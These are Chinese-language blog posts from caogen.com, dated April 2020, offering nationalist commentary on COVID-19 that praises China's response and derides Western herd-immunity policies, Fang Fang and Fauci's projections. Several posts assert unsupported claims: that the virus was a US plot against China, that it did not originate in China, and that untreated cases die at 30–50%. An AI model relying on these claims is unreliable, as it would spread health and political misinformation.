之处,我们不忘历史就是为了将来活得更好。是,在现在这样一个关键的时刻,美国要和中国联手才能控制好美国和世界的疫情,因此,美国这时候理应对中国好,而不应该把火发到中国身上,把锅甩在中国身上。大家齐心合力抓住最主要的矛盾(和病毒的斗争)才能扭转局势,否则,就是美联储把所有的利好都搞尽,也依然无法阻止股市暴跌。因为大家都认识到,根本在于控制疫情,而不是用这种方式(降低利率等)来托市,因为这样是赔了夫人又折兵的,因为大家都明白,现在欧美的疫情已经失控,正在逐步高潮。可没想到特朗普现在却一再出昏招,一是托市,二是对我污名化。根本之处在于他们依然以经济建设和斗中国为中心,并没有把和病毒的作战作为当下最主要的矛盾。他们围绕着这一个主观思想转,所以我们也就不难理解,当特朗普在充分利用其能量拒绝现实时,现实就给他以重重的一记耳光了。是,我们必须要辩证法看待这个问题,可以肯定,特朗普他们绝不能接受我们处上流,他们处下流的这种现实,所以还会搞各种的逆操作。现在,这个世界已经处于一种极限状态了,这也是为什么前期我们会一下子陷入谷底,后来就由洼地变高地的原因所在,在极限状态下,矛盾时常会转换,塞翁失马焉知非福的事经常会出现。是,在2020开年之际,我们就被很会算计、诡异的病毒算计了一把,在我们最低潮的时候,恶魔站在瘟神背后乘我病,要我命,发动了可怕的舆论战,它和其在我国内的代表起劲的摇晃就让我被全球当成是毒夫,病夫被排斥,那个中央电视台前节目主持人阿丘还要求我们向世界道歉。可没想到当我迅速控制了疫情后,对我严防死守,却没有防备美国的欧洲一转眼就成为了疫情的暴风眼了,因为美国很早就把流感和这个病毒混淆在一起,再加上欧美平时就交往密切,他们又特别喜欢自由,不爱戴口罩,再加上欧洲封城、封国和特朗普下达对欧洲的禁航令,因此他们就重复武汉封城状态下的那种状态:超大规模的人群拼命的逃离、拥挤在机场、海关、超市、药店、医院等相对密封的公共场所,这就为病毒创造了极佳的传染条件,让它的规模越来越大……因此,雪崩效应已经形成,规模比中国大了多了,而且还不可控,因为西方人崇尚所谓的自由,再加上他们所谓的自由制度让他们根本就无法控制这样一种局面。现在有报道说世界卫生组织和美国疾控中心都有人中招了,这种情形说明西方高层已经和伊朗的高层一样,被感染的人数是1抓1大把,传的很凶了。据说,伊朗统计了1000万人口,疑似的人数就已经达到了30万。根据公开的报道,我们可以看到特朗普和不少的确诊人过密切的接触,他的女儿和一些高官已经被隔离,如果他确诊,那将是今年以来最大的黑天鹅事件。据发展形势,我们可以肯定的是:就是日本控制了局势,但世界人民也无法参与奥运会了。张文宏就认为在今年的夏天,人类要控制住这种疫情是不可能了。因病毒和非典不一样,它不怕热,现在非洲都有了感染。南北半球同患,这可是这个病毒要和人类共存的节奏。在这样一种情形下,已经走出疫情的中国就成为这个世界上最安全的地方了,和国外相比也就形成了中外冰火两重天的景象了,这真的是三十天河东、三十天河西,谁都没想到会有这样戏剧化的结果,这就让我们充分体会到塞翁失马焉知非福的辩证法思想伟大。对比起欧美的放任不管,我们为我生在中国感到骄傲、感到幸福,尤其是英国政府让国人集体感染以换得集体免疫能力的做法震惊了大家,我们也为中国武汉封城和我们能快速上岸感到幸福无比。但我们必须想到,现在的西方实际上是介于管和放任之间,毕竟他们的股市承受不了这疯狂的病毒折腾,因此他们必须要和这个病毒斗。但任何事情都有一个度,过了,那量变就会到质变。一旦超过限度,大家必然会接受,就如同这次喜欢自由的欧洲人在肆虐的病毒面前不得不戴口罩一样。我们大家再回顾一下2009年,那时美国对h1n1病毒的不设防,最后导致全球也不设防。通过这个故事,我们就可以看到,当量变到质变让西方管控不了,它就必然放任,就必然会牺牲所谓的1%的垃圾人口保证经济社会运行。当大家都一模一样,全都感染了,那么股市又会像打了鸡血一样。现在我们再来瞧一瞧西方的这种自由状态和它的自由制度、自由人,看看有太多太多的上层社会也被感染,我们就不难想到,都到了这一步,所以量变到质变的时间已经为时不远了。一旦质变,那么三十天河东,三十天河西景象又出现了,到那时候我们再来看一看,我们就会发现,被达尔文主义主导的西方让他们反而是,活下来的都有免疫能力了,而我们因为一开始就用手段把病毒和我们隔绝开来,到那时候反而就造成了我们和西方世界更多、更深的隔绝,到了这一地步的时候,那么美国过去想通过贸易战和借这次病毒机会所没有能达到的目的就终于达到了。是的,我们现在虽然避开了美国借助疫情把我们隔绝于世界的图谋,但一旦疫情在全球失控,西方去放任,那么又一个的轮回就必然会让我们发现:我们又从高地回到了洼地了。这种生化危机是会这样变化的,因为之前爆发在我们这里的疫情就让我们的对手躲在瘟神背后趁我病,要我命,要让我和这个世界隔绝。之前,我们都认为的老大老二的矛盾和他们的现实决定着老大会来这么一手,可没想到现实很魔幻,我们30天之后就逆转过来了,形成了著名的30天河东,30天河西现象来。我们控制住了,这反而造成了西方为难,被我将了一军,被迫也跟样,没有像2009那样,这也真的很魔幻,这就是一场史诗般的异类战争,可它们那样又让它们太难太难,因此,和病毒过招没几天的英国人就举着白旗投降了,现在被世界舆论反转过来后就和我们一样。但他们的现状让他们整个被传染也不会很久,一方面,他们确实控制不了,是会量变会到质变的;另一方面它们也认识到当它们整个下水以后,就会让我们由高地变为洼地,让我被隔绝在我们之外的世界。当西方整个掉在水里边。被病毒感染,那这个时候我们跟还是不跟,跟就前功尽弃,不跟又和世界隔绝。这种人和病毒的斗争因为掺杂着极端个人主义、自由主义以及老大老二的争霸赛让情形变得极其复杂。而我也一再作文让大家认识到这种斗争的复杂性,让大家一定要应用唯物辩证法来看待这一场事件。昨天我就写文章批判英国对病毒的投降,并且喊话方方,你该怎样面对英国投降?结果今天就有人指责我文章对西方人民冷淡,是一再高兴西方疫情对我的机会。其实,只要西方人民改掉那些自由,认清自由世界和病毒是恩恩爱爱的关系并去割爱,他们又何致如此?在大的灾难面前,也只有社会主义才能让大家上岸,不经历此劫难,人类怎么能上岸?可有人却说我对西方人民冷血,也不想一想背后深层次的因素就是资本主义社会制度。这实际上也是一种斗争,有些人就要绑架西方人民来阻止社会变革。新年过后的这100多天的复杂斗争让我们看到局势、状态经常变换,因此,2020年真的是很魔幻,但我们必须看清根本,这一年,人类最主要的矛盾、最本质的问题就是和病毒斗争,大家要练就和病毒斗争的能力,而放弃不管,那最终是会搬起石头砸自己的脚。现在我们业已知道西方心思,因此我们不可以因为疫情在我们这边大降而放松,因为更大的算计和灾难必然会因为我们不努力而再次来临,因此,当下我们让疫苗以最快的速度面试是我们最核心的任务,因为只要有了这种东西,西方的算计才不可能得逞,30天河东,三十天河西的变化只能到此为止,成为一个永恒的经典记忆。当我把这篇文章输入到手机后,我看到了今日头条的推送新闻:咋天(3月16日)20时18分,陈薇院士团队研制的重组新冠疫苗获批启动展开临床试验。这说明我们国家实际上已经想到,正在和西方赶跑。3月16日深夜,1号首长和意大利总理孔特通了电话。按照新华社的报道,中国领导人还说了这样一句话:我们将慎终如始,力争尽早全面彻底战胜疫情,为各国防控疫情提供信心。孔特也说:中国政府采取坚决举措,有效控制住疫情,这对意大利等国是巨大鼓舞,也提供了借鉴,意方表示祝贺。这就说明我们很清楚,我们在努力和大家一起对病毒进行有效隔绝,而不是让大家对它举白旗。面对着没有底线的特朗普,我们必须跑在他前头,让他无法算计。现在有一些人对于马云援助美国和其他地方有不同看法,实际上,抗击疫情是我们主动发起的硬战,我们成功了。但我们绝不允许西方投降,因为这样会让我们的心血毁于一旦。不让西方投降,最好的办法就是给他们输送一些弹药,让他们能坚持下来,但是不能一下就像我们这样打成一个阻击战,要让他们打成一个艰难的持久战。在大灾难面前,西方人这次是比文艺复兴前的人性更差,而之前我就曾经做过文章指出这一点,现在这个现实印证了这一点。在这次大灾难面前,华尔街的投机者正在利用这样一次机会重复他们当年攻击英镑、东南亚的历史。根据相关报道我们看到,这帮人准确预见今年3月是美股灾难和积累了大量的现金,因此他们就很好的让大家看到了我的上述思想。基辛格在去年就说:帮我关上窗户,暴风雨要来了。而现在特朗普为了甩锅把病毒说成是中国病毒,好在前段时间我们的外交部发言人就在推特上要求美方解释,而美国疾控中心主任自己承认把病毒和流感搅在一起,这是美国方面无法自圆其说的。现在大家也认识到100年后,这病毒超越了之前它的前辈(西班牙流感)虽然在死人方面它无法和西班牙流感比,但影响力已经超过前辈,已经被人认为是第3次世界大战。是,历史是这样惊人的相似,上个世纪60年代中苏交恶的时候,论战就成为主战场,今日也一样。好在我们现在正在走出低谷,历史在重复。我们对于未来充满信心。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +最大牌导演三战?它导演的2020魔幻世界真是比段子手还段子手! +http://www.caogen.com/blog/Infor_detail.aspx?ID=654&articleId=110264 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:24:12 GMT +1900年,八国联军进攻北京,慈禧太后出逃紫禁城!2020年,又一个庚子年,伊丽莎白女王因新冠病毒出逃白金汉宫,历史在这一刻轮回了。帝国末日,残阳如血,这个天道轮回让人看的真的是魔幻。120年前清朝的李宰相还是一个国家粉刷匠,可如今大英帝国的宰相直接就对病毒举白旗投降,要知道之前的二战老兵就感叹:这一情形比二战恐怖多了,因为二战容许投降绑枪不杀,可病毒不允许投降。整个国家都投降,这得有多恐怖的事。这事他们都能做得出来,仔细一思量也不难理解,因为如今这个最大牌的导演比希特勒可厉害多了,当年的希特勒可让欧洲人绥靖主义了一把。再对比起中国的防疫,大家觉得还是很幸福,不愧生在中国。欧洲许多国家举白旗时,大家想到了方方日记,湖北的这个地主婆过去的那些言论现在让欧洲人直接给打脸了,我们也充分见识到西方是集体合法腐败,集体不负责。因此,抹黑中国的方方终于被大家认识到她的嘴脸。东西方对比太强烈,因此有网友说一场疫情看透人间冷暖。中国依旧是暖阳一片!自古中国就在抗争,不论是神话故事还是大病瘟疫!天漏了,去补,而不是逃离。太阳多了,去打掉几个,而不是找阴凉。大水来了,去治,而不是搬迁。山挡住了,去挖,而不绕道而行。旁人看似愚昧,实则抗争到底。地球末日,外国人想方设法登上所谓诺亚方舟。中国人想方设法拖着地球去流浪。思想啊,看来是我们更加坚定!这时候有人想起李嘉诚把整个李家都迁到英国的事,认为这也是很魔幻、很搞笑、很幽默、很段子的事情。当西方污水泼向中国时,有人要求中国道歉,一群号称公知的人狂怼自己的国家;猜测美国时,有人要求尊重证据,一群公知像集体逝世了一样鸦雀无声。美国建造起了现代长城防墨西哥,结果墨西哥人感谢特朗普,因为这样一来病毒就被隔绝起来了。2020年真是一个魔幻的世界,病毒对人类发动了全面进攻。在2020年,庚子年,人类不得不进行悲壮的武汉保卫战、意大利保卫战、伊朗保卫战……战争还在惨烈进行中。网络著名写手牛弹琴这样说几个观察维度吧。第一,这都是规模宏大的战争。一战,30多个国家参战,死亡1000多万人;二战,60多个国家参战,死亡7000多万。这一次,已经有120多个国家卷入,死亡6000多人。但必须看到,这还是初期,是强力防控的结果,如果病毒长驱直入,哪怕只有1%或0.5%的死亡率,那将是怎样的惨景。触目惊心啊!前期,病毒主攻的,是武汉是湖北;一看进攻武汉受挫,迅速开辟第二第三第四战场。所以,我们看到,亚洲的韩国、日本、伊朗,欧洲的意大利、西班牙、德国、法国,以及美洲的美国、加拿大等,都成为新的战场。战争是全方位的,医生抗疫是战斗,物资供应是战斗,宅家隔离也是战斗,这是一场医疗战、一场保障战,也是一场心理战,恐慌的结果,就是西方股市的崩盘。我也多次的说这个世界上最大牌的导演是非常的厉害,以前大家以为美国压迫世界卫生组织宣布我为疫区是今年世界最大的事情,因为这个事情超越了中美贸易战。可没想到,结果很魔幻,反转了,最大牌的导演不甘心仅仅只在中国演这么一出戏,它现在已经不在中国演了,它跑到中国之外的世界高潮去了。它制造了一个魔幻的世界,一个前所未有的历史,这个历史甚至是其前辈和后来者都难以企及的。它让整个世界大家都宅在家里,真正体会到现金为王的意义,因为避险的黄金现在都已经跌下来了。全球的股市被腰斩的不少,有段子手称新冠病毒出现了人传动物的确诊案例,那就是华尔街的牛死了。人民常说三十年河东三十年河西,从前站在病毒背后称我病,要我命者,如今画风转过来了,迫切的想让已经上岸的我们拉它一把、救它命。这河东河西也仅仅用了30多天时间。现在,反而是我借助对方承认把流感和新冠病毒混在一起的机会逼它要有个交代,对方承受不了怼我,马上就被我抓住,说你老实交代,你们那些政客抹黑中国的话,是否代表你们政府?我们在舆论战这么漂亮的反击让大家都看到解气。现在轮到我站在瘟神背后把对方过去给我的还过去。大牌导演现在对西方这样,大家连连说没想到。这戏剧太精彩,比段子手还段子手,黑色幽默、报应来得这么快,这就让那些人很后悔当初为什么做初一,因为初一过去必然是十五。魔幻的世界让有了对比的我们觉得过往的付出真值得,因为我们已经上岸,可是西方那些人还在苦海中苦苦挣扎,不知何日上岸。问:中小学生如何预防新型冠状病毒?答:在家待着写作业。没想到不但是中国学生待在家里写作业,现在是全球的学生都这样,大家都在家里做作业,上网课。联合国还推荐中国的钉钉、飞书呢。我们过去享受到的,现在我们之外的世界也在体会。最最可笑的是当初那些逃离我们国家的明星和外国人,开始,他们慌忙高价逃出中国,但现在,当我们从洼地变为高地,成为世界上难得的安全岛且对世界友好时,这帮人又急急忙忙高价跑回来。这真的是魔幻,真的是搞笑。全世界慌了,运送口罩必须请镖局!又“欺负老实人”!参赛者:德国,意大利,瑞士,法国,英国。一,因为扣物资大赛已经正式开启!?最惨选手,瑞士,0:3。被德国扣下两次,被意大利扣下一次。希望可以扳回比分吧。谁将是最大赢家,敬请期待!?意大利1:1,截胡瑞士消毒水一次,被德国截胡口罩一次。?法国1:0紧随其后,扣英国口罩一次(数百万口罩)?德国以4:0的成绩遥遥领先,扣瑞士物资两次(第一次手套和口罩若干,第二次24万只口罩),扣奥地利一次,意大利一次(83万只口罩)瑞士成功躲过了一战,二战,还是没躲过疫战这世界太魔幻、太疯狂。“中国上半场,世界下半场”,这世界上最大牌的导演竟然导演出一幕我们根本想不到的剧情出来,让这个世界这么魔幻。它把这个世界一把翻个底朝天以后,我们才看出原来我们所谓的太平盛世是被人为粉刷的。特朗普想和这个最大牌的导演较较劲,结果还是没劲,他干扰股市,把利好出尽,最终的结果肯定是赔了夫人又折兵:对病毒友好怎么能赢?太多的人有严重的固化思想,他们被人造世界迷惑,因此,面对着已经彻底大变、革命的一个新世界,他们根本就无法适应,所以就会像纽约时报那样,在中国已经抗疫成功时依然把意大利和中国的封城作对比,拿意大利来踩中国,这让人笑的不行。明明中国最有能力,成为世界上很少有的安全岛,国民健康得到了极大的保证。但那些西方人却说我们是东亚病夫,毒来自中国,要来索赔,把锅甩给中国。这种极端不负责任、死道友不死贫道的特性也让我们看到这个世界的魔幻。新冠病毒是放大镜也是显微镜,病毒面前,一切假象都是浮云,资本主义的神话在裸奔。而这次事件也让我们真正认识到革命者,因为也只有真正的革命者才能认清形势,才能因为不被相关的利益捆绑、抓住机会和发现背后的发展演变规律、形势。魔幻的世界让我们除了笑,还要用脑。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +面对着西方整个国家对病毒举白旗投降,方方们作何感想? +http://www.caogen.com/blog/Infor_detail.aspx?ID=654&articleId=110263 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:22:59 GMT +最近有一些人追随方方,认为要和她一道去搞官僚主义。但是在疫情这么紧急的情况下,我们的主要矛盾是和病毒的斗争,可一些左派和方方一起舞,这就掉入到了人家的话语陷阱中了。抓住事物的本质,抓住最核心最基本的矛盾才能让我们举重若轻,才能从根本上解决问题。最近超级大牌导演新冠病毒很厉害,它把太多的东西搞个底朝天,让我们都看见。可惜的是,仍迷于旧世界的那帮人们是根本适应不了,因此就理解不了其中的奥妙,拒绝承认这种现实。但是我们革命者就欢呼这样一种现实的到来,因为它让我们见证了一个真实的世界,让我们见证了真理。过去患抑郁症者,许多都开心起来了,因为旧世界打得它个落花流水了。如果不是新冠病毒,很多人还很难理解欧美的做法,或者是不认为他们会像现在这样做为。想想看,他们平时把人权都挂在嘴边,可现在到了这地步,直接把老百姓推向病毒一边,让他们自生自灭,还说这是要让全社会都因此获得免疫力。也不知道方方们怎么来解释这样的一种事。他们过去一直抓住官僚主义不放,其实他们就是想借机来推q。在那会,我一再强调此时我们最关键最本质的东西就是要战胜病毒。其他的矛盾都是次要的,因此特别突出官僚主义就别有用心,如果认同她的这种思想,就掉入到她的话语体系、陷阱中了。看看,现在,同样是危机,西方直接不管了,让大家自生自灭。而我们拼命的管,方方们却故意把大家的注意力引向次要的矛盾一边,让大家对官僚主义恨之入骨,就要一把推q。不知道他们现在面对着西方这些作为作何感想,还敢不敢这样做。我们是点到线有问题,西方是面的问题。我们那些官僚是偷偷摸摸的弄,就是过街老鼠。可西方一把扯下来遮耻布,是集体合法腐败,集体不管。方方们自己贪腐、破坏规则并引以为豪。但却把矛头指向政府,这是典型的双标我们政府兜底,不但在医疗层面上,在生活方面,还有其他方面都管的非常好。高速公路免费一直要到6月份。他们就没看到在危机面前我们社会主义成分越来越发展吗?他们就想利用危机来推墙,而没有想到利用危机来让社会主义成分发展,因此我们绝不能掉入他们的话语体系、陷阱中。方方们如有担当,那就应该说西方,怎么能让百姓全都感染病毒?这还是人干的事吗?总之,资本主义社会的既得利益者掌控了局面就不好,它们搞的那些形式化、表面化的东西(冥煮等),当年马克思他们就把它们皮剥得一干二净了因此,我们在各个时期一定要抓住最本质最核心的东西,抓住最主要的矛盾。在我们和病毒斗争最关键的时刻,我们绝不应该跟着方方面跑,因为那样会让我们失去最佳的时机,导致不可控。这样就造成了趁我病要我命的机会。我们倒下了,一切都归0,什么都无从谈起。实际上我们许多人一开始就认识到这病毒不简单,就是美方用来阴谋算计我让我死的东西,没想到最终我们控制住了,反而导致了这样戏剧性的局面出来。玩火者自焚。这样一个结果,实际上就让他们和我们彼此之间力量拉开了很大的距离。这比打一场战争还好。这种洗牌正是我们需要的,我们现在是胜利者,王者风范。我现在在网络上看到许多网友都有一种生在中国就是幸福的心态,这和从前不幸身在中国形成了鲜明对比,也证明我们在话语权、舆论战中逐渐的爬到坡顶上来了。因为没有对比,我们就不知道,这个新冠病毒把西方世界搞成这样,我们就知道我们祖国好但一些阴暗的人总认为我们在这样一次危机中输了、不行了,实际上不是这样的一个结果。【国内西化公知和跪美大V的“无底线节操”,连胡锡进都看不下去了。】胡锡进:欧洲一些国家放弃对轻症和疑似冠状肺炎患者的医治,提出“群体免疫”的概念,就是说让足够多的人感染新冠病毒,最后形成集体免疫力。现在还没有疫苗,对这种会让无数人面临死亡风险的国家不作为,国内一些人居然帮着阐释它们的科学性,老胡真是不敢相信自己的眼睛了。武汉“应收尽收应治尽治”没有实现的时候,你们是怎么叫的?你们当时为什么不鼓励中国也走不作为的群体免疫路线?怎么欧洲国家向新冠疫情投降或变相投降,你们马上就180度转弯,煞有介事地帮助探讨起“科学性”来了?我们不能跟着别人的节奏跑,我们应该先知先觉赶在形势发生之前,就把发展趋势抓住并且说透,这样人家才能信服我们,否则像方方这样自相矛盾,只会让大家笑话。我们必须注意到如今,把握话语权的就是右派,因此,我们思想必须超前,我们思想经得起实践检验,我们才能让人相信我们。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +英国首相被新冠病毒俘虏,特朗普让美国要钱不要命 +http://www.caogen.com/blog/Infor_detail.aspx?ID=654&articleId=110262 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:22:17 GMT +3月27号英国首相被确诊,世界上最具有影响力的领导人之一被新冠病毒俘虏是震惊世界的头条新闻。大家再联想到英国王子早几天也受到这样一个待遇及各国归国的确诊人群中,英国占的比例是最高的,在中国竟然达到了1/3左右。因此,现在的英国不比意大利差在那里。这种现实已经让我们认识到,和英国首相所说的群体免疫力就差一步之遥了,再下去就必然是整个英国的失控。这时候也让我想起了前段时间一些人为英国首相搞群体免疫能力洗白的事,因为这些人说英国首相这是以退为进,目的是恐吓大家,让大家老老实实的待在家里,配合政府。现如今首相大人都感染了病毒,因此我们再也无法相信这种群体免疫力是恐吓百姓,让他们配合政府调控的说法,因为首相大人都是身体力行去践行着群体免疫能力的,整个英国令人恐怖的高层感染及各国归国人员中的英国比较高的确诊比例让我们看到:英国现在已经很难控制,在向着群体免疫力倾斜了。如果真要控制的,那约翰逊在半个月之前就应该这样的以退为进。这样魔幻的事情,也让我们想起了方方。这也让我想起之前我在约翰逊发出群体免疫力谈话之后的一篇文章,这篇文章认为西方在有意或者无意去推动整个世界向群体免疫力这个方向发展,到时候大家就整个下水了,这样,我们一刹那之间就会由从前的高地变洼地。这样整个世界和我之间就形成了格格不入的局面了,特朗普梦寐以求把我孤立于世界之外的思想就终于得以实现。不要认为西方人有多么的高尚,不会这么干,西方最近的表现就让我们认识到它们很有可能在既定的现实面前,在自由世界无法控制病毒的情况下整个向病毒投降,因为这样就能让它们在社会、经济等各个方面不再和病毒发生尖锐的矛盾,代价当然是让一部分的人被瘟神带走。这样,将以它们所认为的最少的“代价”获得它们要的最好的结果,这样就不需要按下暂停键,整个社会的生产就可以红红火火,股市还可以牛上天,最关键的是:特朗普梦寐以求的把中国隔绝于世界的图谋就得逞了。不要以为他们干不出来,过去特朗普和我打贸易战就是杀敌1000自伤800的事,但它得到了美国主流社会一致的拥护,因为他们知道这样做有可能达到把中国孤立于世界的目的,这样它就能一劳永逸解决和中国的矛盾问题。西方的主流社会现在一直很恼火这次病毒给他们带来了被动,归根结底就是我们五汉封城造成了世界性的示范效应,让它们无法像09年的h1n1病毒那样操作。但如果接下来欧美和世界发展到量变到质变,变得失控时,那他们就会和09年一样操作,这样,我们就有可能因为整个世界都被瘟神俘虏而自然而然的被隔绝于世界了。特朗普是毫无底线的人,英国版的特朗普现在就已经先做出样子出来了,大家也普遍认为自由世界无法抵挡瘟神的攻击,在这么最关键的时候,还有一些喜欢自由的人不戴口罩,还要出来溜。因此,整个世界大概率会向这样一种方向倾斜。新冠病毒让美国的股市重复大萧条的景象,因此,美联储就让整个世界来买单,再联想到08年的那场经济危机美国也是让世界卖单,到最后强壮起来的它反而重现了现实版的农夫与蛇的故事,因此,我们也就不难理解西方政府在这次应对危机上的悠闲、不作为、扯皮现象了。因为整个世界向瘟神投降就是精英们的思想,在他们眼里,他们的既得利益才是第1位,你看看他们的总代表特朗普的言论就知道老百姓的生死在他们那里重不重要?这是对方方们最厉害的打脸,这反而衬托出我们的国家才是一个负责任的国家。可现在诡异的是,不负责任的国家正在利用这次疫情让负责任的国家背负重担,不堪重担而亡。以前它是趁我病,要我命,现在我们上岸了,它的小弟英国就从上到下践行群体免疫力,当整个世界都这样的时候,实际上就让我们背负重担。这些我们不敢想的,他们就敢干。我们现在看到,在中国之外的病毒已经变异的和在中国流行起来的病毒很不一样,研究表明,新冠病毒在中国没有多大的变异,这一方面证明我们确实控制住了,没有让我们的这个病毒成为祸害世界的病毒,也没有让它有多少机会变异,这证明我们的力度是相当相当大,代价也是相当大的,也说明病毒的源头不在我这里。同时也让我们瞧出端倪,不管是阴谋变异还是自然变异,下一步我们的对手就会利用,当海外全是些变异的病毒、而欧美又向病毒投降,那么,我们实际上就被孤立在世界之外了。因为过去我们用非常高的代价把病毒给我们隔离开来,因此就并没有获得这种群体免疫力,所以上次我就大力呼吁要制造相关的疫苗出来。但面对这种变异、和我们已经不一样的病毒,我们的疫苗对它有没有效?这也是一个大问题。我们的对手肯定知道这种状况给他们带来的好处,因此,他们正在利用这样一种局面和我们斗,而我们民间层面的人无所顾忌,因此可以把这事情抖出来让我们提高警惕,加以防范。我们陷入到最危险的关头,我们的对手利用它的话语权对我发动了舆论战,直接对准我们和病毒作战的最要害的部门和人,让我们的百姓成为他们的战士去猛烈攻击这些部门和人,而它的代表人物就是方方。因此,我相信这样一种“利好”的局面,它会再次利用,所以我们要未雨绸缪。当欧美和整个西方被瘟神搞得人仰马翻的时候,中国人有了对比并发现了方方的险恶用心时,从前相关的进攻方在这样一种现实面前就落荒而逃了。在舆论战上,它们现在是败得一塌糊涂,所以它们就成为一群输红了眼的赌徒,就会怨恨我们5汉封城这样的操作,因为这样就致他们于非常被动的地位。因此,拿全人类的生命赌一把,让整个世界向病毒投降来逆转整个形势成为他们的必然选择。在这样一种共同利益面前,内外的敌人会空前团结,因此,我们要充分的加以防范,同时要充分的利用信息化去建立起一张牢不可破的天罗地网。同时尽我所能帮助世界战胜瘟疫,毕竟这场突然袭来的大灾难,最最关键的依然是我们对付病毒的能力,有了这个我们什么都不怕,这也是我过去文章一再主张的。而我们现在是世界工厂、是对付病毒的世界资源中心,有着惊人的产能,因此我们要充分利用好,总之,现在布局还来得及,我们就是要紧紧的拽住,不让欧美和世界向病毒投降。我们的信息化认证方案以及中医和我们的相关的防疫方案都应该不保留的交给它们,另外我们要开展相关的舆论去批判群体免疫力,因为这是反人类罪,要让世界人民团结起来对群体免疫力说不。总之,我们就要牢牢的拽住他们,不能让他们滑向群体免疫力这边。我们必须发动相关的舆论,让相关的国家不敢把世界推向群体免疫力这个方向来。我们要充分利用美国的选举年这张牌让局势朝有利于我的方向发展,我们应该让特朗普认识到,他背后的利益集团很有可能抛弃他,我们要利用他把局势控制住,阻止世界向群体免疫力方向去。是,新冠病毒导致的这一场大洗牌已经让整个世界处于一种极端状态中,它可一会儿变成这样,一会儿变成那样,所以很魔幻。关键就是我们的把控能力,最核心的依然是我们的控毒能力。没有这个,我们无法在第二战场上取得决定性胜利,由于我们在国内的第一战场取得了决定性的胜利,所以我们在控毒方面还是有能耐的。只不过现在的第二战场在海外,我们对于海外的控制能力还是很弱,再加上西方自由制度和西方人爱自由的特性,因此,我们是不好左右。所以我始终认为我们要抓紧时间让疫苗尽早的面世,同时要充分的利用信息化认证的优势保证健康人群在安全的范围内安全的活动,用信息化把健康的人群保护起来,让健康人群越来越多,健康区域越来越多才能做到这些国家不向瘟神投降,保证疫情和经济、社会发展之间的矛盾不再扩大化。而我们也看到,在各类矛盾中确实会有些冲突,它们也会不断的转换、变化中,如何把握是考验我们的唯物辩证法应用能力的。本篇文章谈到的是人类会因为自身的矛盾和自身的弊端让他们会整个向病毒投降,这样实际上就把我们的制度优势和努力都化为灰烬,让我们从高地再次的变化为洼地,也让我们借助疫情消耗对方的努力化为泡影。那么怎么样才能在这两者之间平衡呢?我们国家现在向英国派出相关的指导组,带队的是省部级人员,我们可以从中看出我们的一些指导思想。现在第1张多米诺骨牌效应无疑是英国首相确诊,英国将向群体免疫力方向走去,因此阻止这样一种倾向,避免第1张多米诺骨牌效应倒下就成为我们的重中之重,而且我们在英的那些人员的安危也是关系到我们大国地位、影响力的。我们把欧洲搞好,对美国方面做一定的帮助就能避免欧美的破罐子乱摔,不向群体免疫力那边走过去。而亚洲的典范中国、韩国、日本、新加坡需要联合,毕竟大家现在已经上岸、即将上岸了,如果再被人一把推下水就前功尽弃了,那损失可大了去了。而意大利方面现在已经有了起色,中东方面,伊朗现在也表现的比较优秀。因此,这些好的因素我们需要充分利用。而占豪就主张要联合世界利用我们是作战的大后方,有纵深,是世界工厂,有完善的产业链的优势帮助大家上岸,因为这样既能让我们经济发展,又能巩固我们相关产业链,同时也让法国总统前几天不利于中国工业地位的那番话不再被世界人民认同,因为在关键的时候,我们为这个世界担当,我们帮助弱者。总之,现在核心的指导思想就是天安门城楼上的那句话:世界人民团结万岁,只要我们和世界人民送走了瘟神,那么仍把这件事情政治化操作的美国就会因为不能及时送走瘟神,反而被世界孤立。美国拥有世界霸权地位,别人也不敢对他怎么样,他反而会利用这次机会通过美联储无限的发行美元让整个世界卖单,因此,对于世界人民来说,越早送走瘟神,让印钞机掉在水里,大家就不太容易为它买单。所以我们要利用大家的这个心思搞世界人民大团结万岁。经历了这样一次魔幻的大灾难,大家也终于体会到毛主席思想的伟大。他把最重要的指导思想直接贴到了天安门城楼上,现在我们终于发现它真的是大有用场。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +安东尼·福奇的数学模型预测可能会误导美国 +http://www.caogen.com/blog/Infor_detail.aspx?ID=336&articleId=110261 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:21:15 GMT +当地时间3月29日,美国顶级传染病专家、白宫应对疫情工作组成员安东尼·福奇在CNN《国情咨文》节目中给出了一个惊人预测,称根据模型,最终可能会有数百万美国人感染新冠病毒,导致10万-20万人死亡。“根据我们现在所看到的,我认为死亡病例会在10万-20万之间”,福奇在节目上说,“我们会有数百万个感染病例”。不过,福奇也表示,“不论何时,模型都会给出最坏和最好的情况”。但一般来说,“现实是介于这两种情况中间”。他称自己从来没有看到过最坏的预测变成现实,“他们总是过高地估计”。福奇还补充说,鉴于疫情爆发是一个不断变化的过程,该预测也可能会发生变化,“很容易出错,误导人们”。评:根据福奇专家的预测,可以看出福奇专家的推测是基于全世界现有的新冠疫情死亡率数据上进行的推导。但福奇忽略了一个致命的问题,那就是以美国现有的医疗体系与抗疫物质条件能够同时承载多少新冠病例的治疗?而且没有哪个医院能够承载不断涌入的大量新冠患者检测与治疗的满负荷运转,因为医院会成为新冠病毒感染的高风险区域,大量医护人员会被感染,这会导致医院面临瘫痪。可能在未来几个星期之内,美国整个医疗体系将面临瘫痪与半瘫痪状态,而这将意味着大量的新冠患者得不到医院救治,只能依靠自身的免疫力来与病毒抗争。目前还无任何证据显示,当人类群体性感染新冠病毒在脱离医疗救护的状况下的死亡率会是多少?这个死亡率会不会在30%~50%之间?按照福奇专家的预测,美国最终会有数百万人感染新冠病毒,那么基于无医疗救治造成的30%~50%的死亡率,美国死亡人数有可能会在100万~200万之间,而不是10万~20万之间。至于福奇专家预测的美国最终会有数百万人会感染新冠病毒,这一预测是基于怎样的依据还不得而知。或许会有数千万人感染或者更多,其带来的死亡数字会令人不寒而栗。而且树欲静而风不止,因新冠疫情导致社会经济长时期瘫痪,社会中各种危机会集中爆发产生“并发症”,其后果简直不堪设想。不得不说,美国的社会前景着实令人堪忧。最坏的可能是,美国将会出现政治危机面临解体的隐忧。因为美国各州都是各自为政,各人自扫门前雪、莫管他人瓦上霜,面对疫情越来越严重的纽约州,也不见有别的州增派医疗机构与防疫物质驰援纽约州,让人不得不怀疑这是不是一个国家?这与中国军阀割据时期差不了多少。